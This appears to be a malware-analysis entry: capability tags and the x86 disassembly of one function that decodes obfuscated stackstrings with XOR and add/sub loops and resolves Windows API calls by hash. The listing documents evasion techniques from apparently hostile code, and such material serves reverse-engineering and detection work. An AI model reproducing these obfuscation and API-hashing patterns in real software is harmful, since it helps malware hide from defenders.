Function at 0x40f980
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x314
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0x10], 0xefeff0c8
push edi
mov dword [esp + 0x18], 0xf3e8a1e2
xor ecx, ecx
mov dword [esp + 0x1c], 0xc4a1e3e2
mov dword [esp + 0x20], 0xeef0f3e9
mov dword [esp + 0x24], 0xc3eef6ea
mov dword [esp + 0x28], 0xf4f8f0f3
mov dword [esp + 0x2c], 0x8bf4f3e6
mov al, byte [esp + ecx + 0x14]
add al, 0x7f
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 0x1c
jl 0x40f9c6
lea eax, [esp + 0xd4]
mov byte [esp + 0xf0], 0
push eax
call fcn.004125f4
cmp byte [esi + 2], 0
pop ecx
jne 0x40fa16
cmp byte [esi + 1], 0
jne 0x40fa16
cmp byte [esi + 4], 0
jne 0x40fa16
cmp byte [esi + 6], 0
jne 0x40fa16
cmp byte [esi + 3], 0
jne 0x40fa16
cmp byte [esi], 0
je 0x40fd9c
xor ecx, ecx
call fcn.00418c23
mov ebx, eax
mov dword [esp + 0xd0], ebx
test ebx, ebx
je 0x40fc28
push 0x2f
pop eax
push 0x5c
mov byte [esp + 0x38], al
xor ecx, ecx
pop eax
mov dword [esp + 0x35], 0x595b5e54
mov dword [esp + 0x39], 0xc596155
mov dword [esp + 0x3d], 0x635b5e4e
mov dword [esp + 0x41], 0x5f5e515f
mov byte [esp + 0x45], 0xc
mov byte [esp + 0x46], al
mov dword [esp + 0x47], 0x5f54604d
mov dword [esp + 0x4b], 0x5e51630c
mov dword [esp + 0x4f], 0x515e0c51
mov dword [esp + 0x53], 0x51555e60
mov dword [esp + 0x57], 0xf6505162
mov al, byte [esp + ecx + 0x34]
add al, 0x14
mov byte [esp + ecx + 0xa8], al
inc ecx
cmp ecx, 0x27
jl 0x40fa8b
lea eax, [esp + 0xa8]
mov byte [esp + 0xcf], 0
push eax
call fcn.004125f4
xor ebp, ebp
cmp byte [esi + 6], 0
pop ecx
je 0x40fb28
mov dword [esp + 0x14], 0xccdbdfac
xor ecx, ecx
mov dword [esp + 0x18], 0xd6d0dad5
mov dword [esp + 0x1c], 0xde87dad5
mov dword [esp + 0x20], 0x87ccd9cc
mov dword [esp + 0x24], 0xd9dbccd9
mov dword [esp + 0x28], 0xccddccd0
mov word [esp + 0x2c], 0x71cb
mov al, byte [esp + ecx + 0x14]
sub al, 0x67
mov byte [esp + ecx + 0x8c], al
inc ecx
cmp ecx, 0x1a
jl 0x40faf5
lea eax, [esp + 0x8c]
mov byte [esp + 0xa6], 0
push eax
call fcn.004125f4
pop ecx
push 2
pop ecx
call fcn.00418c23
mov ebp, eax
push 0x1000
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x40fc1c
push 0x7c
pop eax
mov word [esp + 0x30], ax
xor eax, eax
and dword [esp + 0x88], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
push ebx
call fcn.004057dc
add esp, 0xc
test eax, eax
je 0x40fc15
push 0x2f
pop ebx
push eax
lea eax, [esp + 0x124]
xor ecx, ecx
push eax
mov edx, 0xf89245cb
inc ecx
call fcn.00412ca7
call eax
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
push 0
call fcn.004057dc
add esp, 0xc
xor ecx, ecx
mov edx, 0x5060ff33
inc ecx
push 0x800
push edi
push eax
call fcn.00412ca7
call eax
test eax, eax
je 0x40fbef
push edi
call fcn.0040581e
pop ecx
push 0x5c
pop edx
movzx ecx, word [edi + eax*2 - 2]
cmp cx, dx
je 0x40fbd6
cmp cx, bx
jne 0x40fbdd
xor ecx, ecx
mov word [edi + eax*2 - 2], cx
push ebp
push edi
lea edx, [esp + 0x128]
mov ecx, esi
call fcn.0040fda7
pop ecx
pop ecx
lea eax, [esp + 0x88]
push eax
lea eax, [esp + 0x34]
push eax
push 0
call fcn.004057dc
add esp, 0xc
test eax, eax
jne 0x40fb74
mov ebx, dword [esp + 0xd0]
push edi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
jmp 0x40fd9c
xor edx, edx
mov dword [esp + 0xa8], 0x4c350707
mov dword [esp + 0xac], 0x453a3e4d
mov ecx, edx
mov dword [esp + 0xb0], 0x3c354b3e
mov dword [esp + 0xb4], 0x46484b41
mov dword [esp + 0xb8], 0x3b464e42
mov dword [esp + 0xbc], 0x4c50484b
mov dword [esp + 0xc0], 0x74c4b3e
mov word [esp + 0xc4], 0x493c
mov byte [esp + 0xc6], 0x49
mov al, byte [esp + ecx + 0xa8]
add al, 0x27
mov byte [esp + ecx + 0x34], al
inc ecx
cmp ecx, 0x1f
jl 0x40fc8b
mov byte [esp + 0x53], dl
mov ecx, edx
mov dword [esp + 0x8c], 0xdfd5daf3
mov dword [esp + 0x90], 0xd3f8ded7
mov dword [esp + 0x94], 0xd2d6d4c9
mov dword [esp + 0x98], 0xc9f9d6ce
mov dword [esp + 0x9c], 0xdec8ccd4
mov word [esp + 0xa0], 0xc8c9
mov al, byte [esp + ecx + 0x8c]
xor al, 0xbb
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x16
jl 0x40fce5
mov byte [esp + 0x2a], dl
mov ecx, edx
mov dword [esp + 0x5c], 0xb6b3bb9c
mov dword [esp + 0x60], 0xaefabebf
mov dword [esp + 0x64], 0xbfa8fab5
mov dword [esp + 0x68], 0xbfb3a8ae
mov dword [esp + 0x6c], 0xb9fabfac
mov dword [esp + 0x70], 0xb7b5a8b2
mov dword [esp + 0x74], 0xfab7afb3
mov dword [esp + 0x78], 0xadb5a8b8
mov dword [esp + 0x7c], 0xa9a8bfa9
mov dword [esp + 0x80], 0xaebbaafa
mov word [esp + 0x84], 0xa9b2
mov byte [esp + 0x86], 0xd0
mov al, byte [esp + ecx + 0x5c]
xor al, 0xda
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 0x2b
jl 0x40fd63
lea eax, [esp + 0xf4]
mov byte [esp + 0x11f], dl
push eax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push 0x270
push eax
call fcn.00412711
add esp, 0x10
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x314
ret